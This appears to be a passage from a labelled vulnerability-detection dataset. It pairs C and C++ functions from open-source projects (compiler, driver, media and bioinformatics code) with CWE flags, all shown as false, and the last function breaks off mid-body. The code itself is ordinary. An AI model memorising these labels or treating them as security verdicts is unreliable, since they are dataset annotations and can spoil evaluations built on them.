functionSource stringlengths 20 97.4k | CWE-119 bool 2
classes | CWE-120 bool 2
classes | CWE-469 bool 2
classes | CWE-476 bool 2
classes | CWE-other bool 2
classes | combine int64 0 1 |
|---|---|---|---|---|---|---|
ajp14_compute_md5(jk_login_service_t *s, jk_logger_t *l)
{
JK_TRACE_ENTER(l);
jk_md5((const unsigned char *)s->entropy,
(const unsigned char *)s->secret_key, s->computed_key);
if (JK_IS_DEBUG_LEVEL(l))
jk_log(l, JK_LOG_DEBUG, "(%s/%s) -> (%s)",
s->entropy, s->secret_key, s->computed_key);
JK_TRACE_EXIT(l);
} | false | false | false | false | false | 0 |
hub_command_args_free(struct hub_command* cmd)
{
struct hub_command_arg_data* data = NULL;
if (!cmd->args)
return;
LIST_FOREACH(struct hub_command_arg_data*, data, cmd->args,
{
switch (data->type)
{
case type_string:
hub_free(data->data.string);
break;
case type_range:
hub_free(data->data.range);
break;
default:
break;
}
});
list_clear(cmd->args, hub_free);
list_destroy(cmd->args);
cmd->args = NULL;
} | false | false | false | false | false | 0 |
get16_arch(visearch *p) {
unsigned int val;
if (p->off >= (p->asize-1)) {
error("Went past end of archive");
}
val = (0xff & p->abuf[p->off]);
val = ((val << 8) + (0xff & p->abuf[p->off+1]));
p->off += 2;
return val;
} | false | false | false | false | false | 0 |
create_autodetect_quirk(struct snd_usb_audio *chip,
struct usb_interface *iface,
struct usb_driver *driver)
{
int err;
err = create_auto_pcm_quirk(chip, iface, driver);
if (err == -ENODEV)
err = create_auto_midi_quirk(chip, iface, driver);
return err;
} | false | false | false | false | false | 0 |
pat_match_reg(struct sample *smp, struct pattern_expr *expr, int fill)
{
struct pattern_list *lst;
struct pattern *pattern;
/* look in the list */
list_for_each_entry(lst, &expr->patterns, list) {
pattern = &lst->pat;
if (regex_exec2(pattern->ptr.reg, smp->data.str.str, smp->data.str.len))
return pattern;
}
return NULL;
} | false | false | false | false | false | 0 |
OutputBestSurface(std::ostream &out, const Hypothesis *hypo, const std::vector<FactorType> &outputFactorOrder,
bool reportSegmentation, bool reportAllFactors)
{
if (hypo != NULL) {
// recursively retrace this best path through the lattice, starting from the end of the hypothesis sentence
OutputBestSurface(out, hypo->GetPrevHypo(), outputFactorOrder, reportSegmentation, reportAllFactors);
OutputSurface(out, *hypo, outputFactorOrder, reportSegmentation, reportAllFactors);
}
} | false | false | false | false | false | 0 |
ProcessCaptchaRequest(CMemFile* data)
{
uint64 id = GUI_ID(GetIP(),GetUserPort());
// received a captcha request, check if we actually accept it (only after sending a message ourself to this client)
if (GetChatCaptchaState() == CA_ACCEPTING && GetChatState() != MS_NONE
&& theApp->amuledlg->m_chatwnd->IsIdValid(id)) {
// read tags (for future use)
uint8 nTagCount = data->ReadUInt8();
if (nTagCount) {
AddDebugLogLineN(logClient, CFormat(wxT("Received captcha request from client (%s) with (%u) tags")) % GetFullIP() % nTagCount);
// and ignore them for now
for (uint32 i = 0; i < nTagCount; i++) {
CTag tag(*data, true);
}
}
// sanitize checks - we want a small captcha not a wallpaper
uint32 nSize = (uint32)(data->GetLength() - data->GetPosition());
if ( nSize > 128 && nSize < 4096 ) {
uint64 pos = data->GetPosition();
wxMemoryInputStream memstr(data->GetRawBuffer() + pos, nSize);
wxImage imgCaptcha(memstr, wxBITMAP_TYPE_BMP);
if (imgCaptcha.IsOk() && imgCaptcha.GetHeight() > 10 && imgCaptcha.GetHeight() < 50
&& imgCaptcha.GetWidth() > 10 && imgCaptcha.GetWidth() < 150 ) {
m_nChatCaptchaState = CA_CAPTCHARECV;
CCaptchaDialog * dialog = new CCaptchaDialog(theApp->amuledlg, imgCaptcha, id);
dialog->Show();
} else {
AddDebugLogLineN(logClient, CFormat(wxT("Received captcha request from client, processing image failed or invalid pixel size (%s)")) % GetFullIP());
}
} else {
AddDebugLogLineN(logClient, CFormat(wxT("Received captcha request from client, size sanitize check failed (%u) (%s)")) % nSize % GetFullIP());
}
} else {
AddDebugLogLineN(logClient, CFormat(wxT("Received captcha request from client, but don't accepting it at this time (%s)")) % GetFullIP());
}
} | false | false | false | false | false | 0 |
AdjustWindow()
{
int new_width=0,new_height=0,tw,i,total;
char *temp;
total=ItemCount(&windows);
if (!total) {
if (WindowIsUp==1) {
XUnmapWindow(dpy,win);
WindowIsUp=2;
}
return;
}
for(i=0;i<total;i++) {
temp=ItemName(&windows,i);
if(temp != NULL)
{
tw=10+XTextWidth(ButtonFont,temp,strlen(temp));
tw+=XTextWidth(ButtonFont,"()",2);
new_width=max(new_width,tw);
}
}
new_height=(total*(fontheight+6+1)-1);
if (WindowIsUp && (new_height!=win_height || new_width!=win_width)) {
if (Anchor) {
if (win_grav==SouthEastGravity || win_grav==NorthEastGravity)
win_x-=(new_width-win_width);
if (win_grav==SouthEastGravity || win_grav==SouthWestGravity)
win_y-=(new_height-win_height);
XMoveResizeWindow(dpy,win,win_x+win_border,win_y+win_title+win_border,
new_width,new_height);
} else XResizeWindow(dpy,win,new_width,new_height);
}
UpdateArray(&buttons,-1,-1,new_width,-1);
if (new_height>0) win_height=new_height;
if (new_width>0) win_width=new_width;
if (WindowIsUp==2) {
XMapWindow(dpy,win);
WindowIsUp=1;
WaitForExpose();
}
} | false | false | false | false | false | 0 |
drop_temp_touch (edict_t * ent, edict_t * other, cplane_t * plane,
csurface_t * surf)
{
if (other == ent->owner)
return;
Touch_Item (ent, other, plane, surf);
} | false | false | false | false | false | 0 |
serial_init ( void ) {
int status;
int divisor, lcs;
DBG ( "Serial port %#x initialising\n", UART_BASE );
divisor = COMBRD;
lcs = UART_LCS;
#ifdef COMPRESERVE
lcs = uart_readb(UART_BASE + UART_LCR) & 0x7f;
uart_writeb(0x80 | lcs, UART_BASE + UART_LCR);
divisor = (uart_readb(UART_BASE + UART_DLM) << 8) | uart_readb(UART_BASE + UART_DLL);
uart_writeb(lcs, UART_BASE + UART_LCR);
#endif
/* Set Baud Rate Divisor to COMSPEED, and test to see if the
* serial port appears to be present.
*/
uart_writeb(0x80 | lcs, UART_BASE + UART_LCR);
uart_writeb(0xaa, UART_BASE + UART_DLL);
if (uart_readb(UART_BASE + UART_DLL) != 0xaa) {
DBG ( "Serial port %#x UART_DLL failed\n", UART_BASE );
goto out;
}
uart_writeb(0x55, UART_BASE + UART_DLL);
if (uart_readb(UART_BASE + UART_DLL) != 0x55) {
DBG ( "Serial port %#x UART_DLL failed\n", UART_BASE );
goto out;
}
uart_writeb(divisor & 0xff, UART_BASE + UART_DLL);
if (uart_readb(UART_BASE + UART_DLL) != (divisor & 0xff)) {
DBG ( "Serial port %#x UART_DLL failed\n", UART_BASE );
goto out;
}
uart_writeb(0xaa, UART_BASE + UART_DLM);
if (uart_readb(UART_BASE + UART_DLM) != 0xaa) {
DBG ( "Serial port %#x UART_DLM failed\n", UART_BASE );
goto out;
}
uart_writeb(0x55, UART_BASE + UART_DLM);
if (uart_readb(UART_BASE + UART_DLM) != 0x55) {
DBG ( "Serial port %#x UART_DLM failed\n", UART_BASE );
goto out;
}
uart_writeb((divisor >> 8) & 0xff, UART_BASE + UART_DLM);
if (uart_readb(UART_BASE + UART_DLM) != ((divisor >> 8) & 0xff)) {
DBG ( "Serial port %#x UART_DLM failed\n", UART_BASE );
goto out;
}
uart_writeb(lcs, UART_BASE + UART_LCR);
/* disable interrupts */
uart_writeb(0x0, UART_BASE + UART_IER);
/* disable fifo's */
uart_writeb(0x00, UART_BASE + UART_FCR);
/* Set clear to send, so flow control works... */
uart_writeb((1<<1), UART_BASE + UART_MCR);
/* Flush the input buffer. */
do {
/* rx buffer reg
* throw away (unconditionally the first time)
*/
(void) uart_readb(UART_BASE + UART_RBR);
/* line status reg */
status = uart_readb(UART_BASE + UART_LSR);
} while(status & UART_LSR_DR);
/* Note that serial support has been initialized */
serial_initialized = 1;
out:
return;
} | false | false | false | false | false | 0 |
objc_get_class_reference (tree ident)
{
tree orig_ident = (DECL_P (ident)
? DECL_NAME (ident)
: TYPE_P (ident)
? OBJC_TYPE_NAME (ident)
: ident);
bool local_scope = false;
#ifdef OBJCPLUS
if (processing_template_decl)
/* Must wait until template instantiation time. */
return build_min_nt_loc (UNKNOWN_LOCATION, CLASS_REFERENCE_EXPR, ident);
#endif
if (TREE_CODE (ident) == TYPE_DECL)
ident = (DECL_ORIGINAL_TYPE (ident)
? DECL_ORIGINAL_TYPE (ident)
: TREE_TYPE (ident));
#ifdef OBJCPLUS
if (TYPE_P (ident)
&& CP_TYPE_CONTEXT (ident) != global_namespace)
local_scope = true;
#endif
if (local_scope || !(ident = objc_is_class_name (ident)))
{
error ("%qE is not an Objective-C class name or alias",
orig_ident);
return error_mark_node;
}
return (*runtime.get_class_reference) (ident);
} | false | false | false | false | false | 0 |
get_last_nonnote_insn (void)
{
rtx insn = last_insn;
if (insn)
{
if (NOTE_P (insn))
for (insn = previous_insn (insn);
insn && NOTE_P (insn);
insn = previous_insn (insn))
continue;
else
{
if (GET_CODE (insn) == INSN
&& GET_CODE (PATTERN (insn)) == SEQUENCE)
insn = XVECEXP (PATTERN (insn), 0,
XVECLEN (PATTERN (insn), 0) - 1);
}
}
return insn;
} | false | false | false | false | false | 0 |
query_module (const char *dir, const char *name)
{
void (*list) (const ClutterIMContextInfo ***contexts,
guint *n_contexts);
gpointer list_ptr;
gpointer init_ptr;
gpointer exit_ptr;
gpointer create_ptr;
GModule *module;
gchar *path;
gboolean error = FALSE;
if (g_path_is_absolute (name))
path = g_strdup (name);
else
path = g_build_filename (dir, name, NULL);
module = g_module_open (path, 0);
if (!module)
{
g_fprintf (stderr, "Cannot load module %s: %s\n", path, g_module_error());
error = TRUE;
}
if (module &&
g_module_symbol (module, "im_module_list", &list_ptr) &&
g_module_symbol (module, "im_module_init", &init_ptr) &&
g_module_symbol (module, "im_module_exit", &exit_ptr) &&
g_module_symbol (module, "im_module_create", &create_ptr))
{
const ClutterIMContextInfo **contexts;
guint n_contexts;
int i;
list = list_ptr;
print_escaped (path);
fputs ("\n", stdout);
(*list) (&contexts, &n_contexts);
for (i=0; i<n_contexts; i++)
{
print_escaped (contexts[i]->context_id);
print_escaped (contexts[i]->context_name);
print_escaped (contexts[i]->domain);
print_escaped (contexts[i]->domain_dirname);
print_escaped (contexts[i]->default_locales);
fputs ("\n", stdout);
}
fputs ("\n", stdout);
}
else
{
g_fprintf (stderr, "%s does not export Clutter IM module API: %s\n", path,
g_module_error ());
error = TRUE;
}
g_free (path);
if (module)
g_module_close (module);
return error;
} | false | false | false | false | false | 0 |
be_irq_unregister(struct be_adapter *adapter)
{
struct net_device *netdev = adapter->netdev;
struct be_eq_obj *eqo;
int i, vec;
if (!adapter->isr_registered)
return;
/* INTx */
if (!msix_enabled(adapter)) {
free_irq(netdev->irq, &adapter->eq_obj[0]);
goto done;
}
/* MSIx */
for_all_evt_queues(adapter, eqo, i) {
vec = be_msix_vec_get(adapter, eqo);
irq_set_affinity_hint(vec, NULL);
free_irq(vec, eqo);
}
done:
adapter->isr_registered = false;
} | false | false | false | false | false | 0 |
dup_block_and_redirect (basic_block bb, basic_block copy_bb, rtx before,
bitmap_head *need_prologue)
{
edge_iterator ei;
edge e;
rtx insn = BB_END (bb);
/* We know BB has a single successor, so there is no need to copy a
simple jump at the end of BB. */
if (simplejump_p (insn))
insn = PREV_INSN (insn);
start_sequence ();
duplicate_insn_chain (BB_HEAD (bb), insn);
if (dump_file)
{
unsigned count = 0;
for (insn = get_insns (); insn; insn = NEXT_INSN (insn))
if (active_insn_p (insn))
++count;
fprintf (dump_file, "Duplicating bb %d to bb %d, %u active insns.\n",
bb->index, copy_bb->index, count);
}
insn = get_insns ();
end_sequence ();
emit_insn_before (insn, before);
/* Redirect all the paths that need no prologue into copy_bb. */
for (ei = ei_start (bb->preds); (e = ei_safe_edge (ei)); )
if (!bitmap_bit_p (need_prologue, e->src->index))
{
int freq = EDGE_FREQUENCY (e);
copy_bb->count += e->count;
copy_bb->frequency += EDGE_FREQUENCY (e);
e->dest->count -= e->count;
if (e->dest->count < 0)
e->dest->count = 0;
e->dest->frequency -= freq;
if (e->dest->frequency < 0)
e->dest->frequency = 0;
redirect_edge_and_branch_force (e, copy_bb);
continue;
}
else
ei_next (&ei);
} | false | false | false | false | false | 0 |
main(int argc, char *argv[])
{
if (argc < 2) {
fprintf(stderr, "Usage: %s <filename>\n", argv[0]);
return 1;
}
char *tbl = g_strdup_printf("%s.tbl", argv[1]);
fs_ptable *ptbl = fs_ptable_open_filename(tbl, O_CREAT | O_TRUNC | O_RDWR);
if (!ptbl) {
printf("failed to create ptable file\n");
return 1;
}
fs_ptree *pt = fs_ptree_open_filename(argv[1], O_CREAT | O_TRUNC | O_RDWR, ptbl);
if (!pt) {
printf("failed to create ptree file\n");
return 1;
}
fs_ptree_add(pt, 0x223456789abcdef0LL, NULL, 0);
fs_ptable_close(ptbl);
fs_ptree_close(pt);
ptbl = fs_ptable_open_filename(tbl, O_RDWR);
pt = fs_ptree_open_filename(argv[1], O_RDWR, ptbl);
if (!pt) {
printf("failed to reopen ptree file\n");
return 1;
}
fs_ptree_add(pt, 0x123456789abcdef0LL, NULL, 0);
fs_ptree_add(pt, 0x123456789abcdef0LL, NULL, 0);
fs_ptree_add(pt, 0x1234567a9abcdef0LL, NULL, 0);
fs_ptree_add(pt, 0x123456789abcdef0LL, NULL, 0);
fs_ptree_add(pt, 0x1234567a9abcdef1LL, NULL, 0);
fs_ptree_add(pt, 0x3234567a9abcdef1LL, NULL, 0);
fs_rid s = 0x5555555555555555LL;
fs_rid g = 0x0123456789abcdefLL;
#define ITS 10000000
double then = fs_time();
for (int i=0; i<ITS; i++) {
if (i % 10 == 0) s += 984354325432534976LL;
fs_rid pair[2] = { g, s+i };
fs_ptree_add(pt, s, pair, 0);
}
double now = fs_time();
printf("imported %d rows/s\n", (int)(ITS/(now-then)));
#if 0
fs_ptree_print(pt, stdout);
printf("\n");
fs_chain_print(ch, stdout, 2);
#endif
fs_ptree_close(pt);
return 0;
} | false | false | false | false | false | 0 |
index_name_pos(const struct index_state *istate, const char *name, int namelen)
{
int first, last;
first = 0;
last = istate->cache_nr;
while (last > first) {
int next = (last + first) >> 1;
struct cache_entry *ce = istate->cache[next];
int cmp = cache_name_compare(name, namelen, ce->name, ce->ce_flags);
if (!cmp)
return next;
if (cmp < 0) {
last = next;
continue;
}
first = next+1;
}
return -first-1;
} | false | false | false | false | false | 0 |
get_dt_table(const int mtno,
const dt_kind kind,
const Array_def_use_table *src_du,
const Array_def_use_table *dst_du,
const int vpe_no)
{
Dt_table *dt_head = NULL, *dpt = NULL;
Array_region_list *src_reg, *dst_reg;
int dim;
if (src_du == NULL || dst_du == NULL) return NULL;
dim = get_array_def_use_table_dim(src_du);
for (src_reg = src_du->region_head, dst_reg = dst_du->region_head;
src_reg != NULL && dst_reg != NULL;
src_reg = src_reg->next, dst_reg = dst_reg->next) {
if (dt_head == NULL) {
dt_head = dpt = alloc_dt_table();
} else {
dpt->next = alloc_dt_table();
dpt->next->prev = dpt;
dpt = dpt->next;
}
dpt->mt_no = mtno;
dpt->dt_info = alloc_dt_info();
dpt->dt_info->kind = kind;
/* FIXME: */
dpt->dt_info->vpe_no = vpe_no;
dpt->dt_info->src_data
= array_reg_2_lio(src_reg, src_du->entry, dim);
dpt->dt_info->dst_data
= array_reg_2_lio(dst_reg, dst_du->entry, dim);
dpt->dt_info->src_array_du = alloc_array_def_use_table();
dpt->dt_info->src_array_du->entry = src_du->entry;
dpt->dt_info->src_array_du->region_head
= copy_array_region(src_reg);
dpt->dt_info->dst_array_du = alloc_array_def_use_table();
dpt->dt_info->dst_array_du->entry = dst_du->entry;
dpt->dt_info->dst_array_du->region_head
= copy_array_region(dst_reg);
}
if (dt_head == NULL) {
dt_head = get_dt_table(mtno, kind, src_du->next, dst_du->next, vpe_no);
} else {
dpt->next = get_dt_table(mtno, kind, src_du->next,
dst_du->next, vpe_no);
if (dpt->next != NULL) {
dpt->next->prev = dpt;
}
}
return dt_head;
} | false | false | false | false | false | 0 |
biftim(bifcxdef *ctx, int argc)
{
time_t timer;
struct tm *tblock;
uchar ret[80];
uchar *p;
runsdef val;
int typ;
if (argc == 1)
{
/* get the time type */
typ = (int)runpopnum(ctx->bifcxrun);
}
else
{
/* make sure no arguments are specified */
bifcntargs(ctx, 0, argc);
/* use the default time type */
typ = 1;
}
switch(typ)
{
case 1:
/*
* default information format - list format with current system
* time and date
*/
/* make sure the time zone is set up properly */
os_tzset();
/* get the local time information */
timer = time(NULL);
tblock = localtime(&timer);
/* adjust values for return format */
tblock->tm_year += 1900;
tblock->tm_mon++;
tblock->tm_wday++;
tblock->tm_yday++;
/* build return list value */
oswp2(ret, 47);
p = ret + 2;
p = bifputnum(p, tblock->tm_year);
p = bifputnum(p, tblock->tm_mon);
p = bifputnum(p, tblock->tm_mday);
p = bifputnum(p, tblock->tm_wday);
p = bifputnum(p, tblock->tm_yday);
p = bifputnum(p, tblock->tm_hour);
p = bifputnum(p, tblock->tm_min);
p = bifputnum(p, tblock->tm_sec);
*p++ = DAT_NUMBER;
oswp4(p, (long)timer);
val.runstyp = DAT_LIST;
val.runsv.runsvstr = ret;
runpush(ctx->bifcxrun, DAT_LIST, &val);
break;
case 2:
/*
* High-precision system timer value - returns the system time
* in milliseconds, relative to an arbitrary zero point
*/
runpnum(ctx->bifcxrun, os_get_sys_clock_ms());
break;
default:
/* other types are invalid */
runsig1(ctx->bifcxrun, ERR_INVVBIF, ERRTSTR, "gettime");
break;
}
} | false | false | false | false | false | 0 |
getOrCreateInlinedScope(MDNode *Scope,
MDNode *InlinedAt) {
LexicalScope *InlinedScope = LexicalScopeMap.lookup(InlinedAt);
if (InlinedScope)
return InlinedScope;
DebugLoc InlinedLoc = DebugLoc::getFromDILocation(InlinedAt);
InlinedScope = new LexicalScope(getOrCreateLexicalScope(InlinedLoc),
DIDescriptor(Scope), InlinedAt, false);
InlinedLexicalScopeMap[InlinedLoc] = InlinedScope;
LexicalScopeMap[InlinedAt] = InlinedScope;
return InlinedScope;
} | false | false | false | false | false | 0 |
ffz(unsigned int x)
{
// DO NOT DEFINE FASTBSR :
// Test shows that it hardly helps on a PPro,
// and rumors are that BSR is very slow on PPlain.
#if defined(FASTBSR) && defined(_MSC_VER) && defined(_M_IX86)
int r;
__asm {
mov ebx, x
xor ebx, 0xffff
mov eax, -1
bsr eax, ebx
mov r, eax
}
return 15 - r;
#elif defined(FASTBSR) && defined(__GNUC__) && defined(__i386__)
int r, dummy;
__asm__ const ( "movl %2,%1\n\t"
"xorl $0xffff, %1\n\t"
"movl $-1, %0\n\t"
"bsrl %1, %0"
: "=&q" (r), "=q" (dummy) : "rm" (x) );
return 15 - r;
#else
return (x>=0xff00) ? (ffzt[x&0xff]+8) : (ffzt[(x>>8)&0xff]);
#endif
} | false | false | false | false | false | 0 |
AddRegex(const VOMSTrustRegex& reg) {
RegularExpression* r = new RegularExpression(reg);
regexs_.insert(regexs_.end(),r);
return *r;
} | false | false | false | false | false | 0 |
t_decrypt(tea_block_t *res, const tea_key_t *key, const tea_block_t *value)
{
uint32 v0, v1, sum = 0xC6EF3720;
int i;
uint32 delta = TEA_CONSTANT;
uint32 k0, k1, k2, k3; /* cache key */
v0 = peek_le32(&value->v[0]);
v1 = peek_le32(&value->v[4]);
k0 = peek_le32(&key->v[0]);
k1 = peek_le32(&key->v[4]);
k2 = peek_le32(&key->v[8]);
k3 = peek_le32(&key->v[12]);
for (i = 0; i < TEA_ROUNDS; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
poke_le32(&res->v[0], v0);
poke_le32(&res->v[4], v1);
} | false | false | false | false | false | 0 |
get_event_func_id(ushort *event_tab, int event_id)
{
int func_id;
if (!event_tab)
return 0;
func_id = event_tab[event_id];
if (!func_id)
return 0;
return func_id;
} | false | false | false | false | false | 0 |
applySettings( bool firstTime )
{
///Called when the configDialog is closed with OK or Apply
DEBUG_BLOCK
if( AmarokConfig::showTrayIcon() && ! m_tray )
{
m_tray = new Amarok::TrayIcon( m_mainWindow.data() );
}
else if( !AmarokConfig::showTrayIcon() && m_tray )
{
delete m_tray;
m_tray = 0;
}
if( !firstTime ) // prevent OSD from popping up during startup
Amarok::OSD::instance()->applySettings();
if( !firstTime )
emit settingsChanged();
} | false | false | false | false | false | 0 |
optimizeBitmask(const char *columnname, uint32_t *mask)
{
bool optimized = false;
for (_subfilters_t::iterator it = _subfilters.begin();
it != _subfilters.end();
++it)
{
Filter *filter = *it;
if (filter->optimizeBitmask(columnname, mask))
optimized = true;
}
return optimized;
} | false | false | false | false | false | 0 |
delete_attributes(Attribute a, int id)
{
if (a == NULL)
return NULL;
else {
a->next = delete_attributes(a->next, id);
if (a->id == id) {
Attribute b = a->next;
/* If there is any memory associted with the attribure, free it here. */
if (attribute_type(a) == TERM_ATTRIBUTE)
zap_term(a->u.t);
free_attribute(a);
return b;
}
else
return a;
}
} | false | false | false | false | false | 0 |
on_entry_changed (GtkWidget *widget, gpointer data)
{
GtkAssistant *assistant = GTK_ASSISTANT (data);
GtkWidget *current_page;
gint page_number;
const gchar *text;
page_number = gtk_assistant_get_current_page (assistant);
current_page = gtk_assistant_get_nth_page (assistant, page_number);
text = gtk_entry_get_text (GTK_ENTRY (widget));
if (text && *text)
gtk_assistant_set_page_complete (assistant, current_page, TRUE);
else
gtk_assistant_set_page_complete (assistant, current_page, FALSE);
} | false | false | false | false | false | 0 |
bcm3510_write_ram(struct bcm3510_state *st, u16 addr, const u8 *b,
u16 len)
{
int ret = 0,i;
bcm3510_register_value vH, vL,vD;
vH.MADRH_a9 = addr >> 8;
vL.MADRL_aa = addr;
if ((ret = bcm3510_writeB(st,0xa9,vH)) < 0) return ret;
if ((ret = bcm3510_writeB(st,0xaa,vL)) < 0) return ret;
for (i = 0; i < len; i++) {
vD.MDATA_ab = b[i];
if ((ret = bcm3510_writeB(st,0xab,vD)) < 0)
return ret;
}
return 0;
} | false | false | false | false | false | 0 |
OTF_KeyValueList_close(OTF_KeyValueList* list) {
OTF_KeyValuePairList *next;
OTF_KeyValuePairList *p;
if (list == NULL) {
/* error */
OTF_Error( "ERROR in function %s, file: %s, line: %i:\n "
"no list has been specified.\n",
__FUNCTION__, __FILE__, __LINE__ );
return 1;
}
p = list->kvBegin;
while (p->kvNext != NULL) {
next = p->kvNext;
free(p);
p = next;
}
free(p);
free(list);
return 0;
} | false | false | false | false | false | 0 |
CreateGingleEncryptionElem(const CryptoParamsVec& cryptos,
const buzz::QName& usage_qname,
bool required) {
buzz::XmlElement* encryption_elem =
CreateJingleEncryptionElem(cryptos, required);
if (required) {
encryption_elem->SetAttr(QN_ENCRYPTION_REQUIRED, "true");
}
buzz::XmlElement* usage_elem = new buzz::XmlElement(usage_qname);
encryption_elem->AddElement(usage_elem);
return encryption_elem;
} | false | false | false | false | false | 0 |
save_to_uri (GESFormatter * formatter, GESTimeline * timeline, gchar * uri)
{
gchar *location;
GError *e = NULL;
gboolean ret = TRUE;
GESFormatterPrivate *priv = GES_FORMATTER (formatter)->priv;
if (!(location = g_filename_from_uri (uri, NULL, NULL))) {
return FALSE;
}
if (!ges_formatter_save (formatter, timeline)) {
GST_ERROR ("couldn't serialize formatter");
} else {
if (!g_file_set_contents (location, priv->data, priv->length, &e)) {
GST_ERROR ("couldn't write file '%s': %s", location, e->message);
ret = FALSE;
}
}
if (e)
g_error_free (e);
g_free (location);
return ret;
} | false | false | false | false | false | 0 |
AO_EditUserDialog_HandleActivated(GWEN_DIALOG *dlg, const char *sender) {
DBG_ERROR(0, "Activated: %s", sender);
if (strcasecmp(sender, "abortButton")==0) {
return GWEN_DialogEvent_ResultReject;
}
else if (strcasecmp(sender, "okButton")==0) {
int rv;
rv=AO_EditUserDialog_GetBankPageData(dlg);
if (rv<0) {
DBG_INFO(AQOFXCONNECT_LOGDOMAIN, "here (%d)", rv);
return GWEN_DialogEvent_ResultHandled;
}
rv=AO_EditUserDialog_GetUserPageData(dlg);
if (rv<0) {
DBG_INFO(AQOFXCONNECT_LOGDOMAIN, "here (%d)", rv);
return GWEN_DialogEvent_ResultHandled;
}
rv=AO_EditUserDialog_GetAppPageData(dlg);
if (rv<0) {
DBG_INFO(AQOFXCONNECT_LOGDOMAIN, "here (%d)", rv);
return GWEN_DialogEvent_ResultHandled;
}
rv=AO_EditUserDialog_FromGui(dlg);
if (rv<0) {
DBG_INFO(AQOFXCONNECT_LOGDOMAIN, "here (%d)", rv);
return GWEN_DialogEvent_ResultHandled;
}
return GWEN_DialogEvent_ResultAccept;
}
else if (strcasecmp(sender, "wiz_bank_button")==0)
return AO_EditUserDialog_HandleActivatedBankSelect(dlg);
else if (strcasecmp(sender, "wiz_app_combo")==0)
return AO_EditUserDialog_HandleActivatedApp(dlg);
else if (strcasecmp(sender, "wiz_special_button")==0)
return AO_EditUserDialog_HandleActivatedSpecial(dlg);
else if (strcasecmp(sender, "wiz_getaccounts_button")==0)
return AO_EditUserDialog_HandleActivatedGetAccounts(dlg);
else if (strcasecmp(sender, "wiz_help_button")==0) {
/* TODO: open a help dialog */
}
return GWEN_DialogEvent_ResultNotHandled;
} | false | false | false | false | false | 0 |
buf_out (TCHAR *buffer, int *bufsize, const TCHAR *format, ...) {
va_list parms;
va_start (parms, format);
if (buffer == NULL) {
return 0;
}
vsnprintf (buffer, (*bufsize) - 1, format, parms);
va_end (parms);
*bufsize -= _tcslen (buffer);
return buffer + _tcslen (buffer);
} | false | false | false | false | false | 0 |
ensTranscriptCalculateTranscriptCodingEnd(
EnsPTranscript transcript,
EnsPTranslation translation)
{
ajuint tcend = 0U;
AjBool debug = AJFALSE;
AjIList iter = NULL;
const AjPList exons = NULL;
AjPList ses = NULL;
EnsPExon exon = NULL;
EnsPFeature feature = NULL;
EnsPSequenceedit se = NULL;
debug = ajDebugTest("ensTranscriptCalculateTranscriptCodingEnd");
if (debug)
{
ajDebug("ensTranscriptCalculateTranscriptCodingEnd\n"
" transcript %p\n"
" translation %p\n",
transcript,
translation);
ensTranscriptTrace(transcript, 1);
ensTranslationTrace(translation, 1);
}
if (!transcript)
return 0U;
if (!translation)
return 0U;
/*
** Calculate the coding start relative to the start of the
** Translation in Transcript coordinates.
*/
exons = ensTranscriptLoadExons(transcript);
iter = ajListIterNewread(exons);
while (!ajListIterDone(iter))
{
exon = (EnsPExon) ajListIterGet(iter);
if (debug)
ajDebug("ensTranscriptCalculateTranscriptCodingEnd "
"exon %p (Identifier %u) end exon %p (Identifier %u)\n",
exon, ensExonGetIdentifier(exon),
ensTranslationGetEndexon(translation),
ensExonGetIdentifier(
ensTranslationGetEndexon(translation)));
if (ensExonMatch(exon, ensTranslationGetEndexon(translation)))
{
/* Add the coding portion of the last coding Exon. */
tcend += ensTranslationGetEnd(translation);
break;
}
else
{
/* Add the entire length of this Exon. */
feature = ensExonGetFeature(exon);
tcend += ensFeatureCalculateLength(feature);
}
}
ajListIterDel(&iter);
/* Adjust Transcript coordinates if Sequence Edit objects are enabled. */
if (transcript->Sequenceedits)
{
ses = ajListNew();
ensTranscriptFetchAllSequenceedits(transcript, ses);
/*
** Sort in reverse order to avoid adjustment of down-stream
** Sequence Edit objects.
*/
ensListSequenceeditSortStartDescending(ses);
while (ajListPop(ses, (void **) &se))
{
/*
** Use less than or equal to end + 1 so that the end of the
** CDS can be extended.
*/
if (ensSequenceeditGetStart(se) <= tcend + 1)
tcend += ensSequenceeditCalculateDifference(se);
ensSequenceeditDel(&se);
}
ajListFree(&ses);
}
return tcend;
} | false | false | false | false | false | 0 |
ok_to_delete_ticket(int tn){
time_t cutoff = time(0)-86400;
if( g.okSetup ){
return 1;
}
if( g.isAnon || !g.okDelete ){
return 0;
}
if( db_exists(
"SELECT 1 FROM ticket"
" WHERE tn=%d AND (owner!='anonymous' OR origtime<%d)"
"UNION ALL "
"SELECT 1 FROM tktchng"
" WHERE tn=%d AND (user!='anonymous' OR chngtime<%d)",
tn, cutoff, tn, cutoff)
){
return 0;
}
return 1;
} | false | false | false | false | false | 0 |
OnbtnBrowseClick(cb_unused wxCommandEvent& event)
{
cbProject* prj = Manager::Get()->GetProjectManager()->GetActiveProject();
wxFileDialog dlg(this,
_("Select filename"),
prj ? prj->GetBasePath() : _T(""),
txtFilename->GetValue(),
m_ExtFilter,
wxFD_SAVE | wxFD_OVERWRITE_PROMPT);
PlaceWindow(&dlg);
if (dlg.ShowModal() == wxID_OK)
txtFilename->SetValue(dlg.GetPath());
} | false | false | false | false | false | 0 |
SWIG_AsVal_int (PyObject * obj, int *val)
{
long v;
int res = SWIG_AsVal_long (obj, &v);
if (SWIG_IsOK(res)) {
if ((v < INT_MIN || v > INT_MAX)) {
return SWIG_OverflowError;
} else {
if (val) *val = (int)(v);
}
}
return res;
} | false | false | false | false | false | 0 |
convert(int ch, unsigned char* bytes, int length) const
{
if (ch <= 0x7F)
{
if (bytes && length >= 1)
*bytes = (unsigned char) ch;
return 1;
}
else if (ch <= 0x7FF)
{
if (bytes && length >= 2)
{
*bytes++ = (unsigned char) (((ch >> 6) & 0x1F) | 0xC0);
*bytes = (unsigned char) ((ch & 0x3F) | 0x80);
}
return 2;
}
else if (ch <= 0xFFFF)
{
if (bytes && length >= 3)
{
*bytes++ = (unsigned char) (((ch >> 12) & 0x0F) | 0xE0);
*bytes++ = (unsigned char) (((ch >> 6) & 0x3F) | 0x80);
*bytes = (unsigned char) ((ch & 0x3F) | 0x80);
}
return 3;
}
else if (ch <= 0x10FFFF)
{
if (bytes && length >= 4)
{
*bytes++ = (unsigned char) (((ch >> 18) & 0x07) | 0xF0);
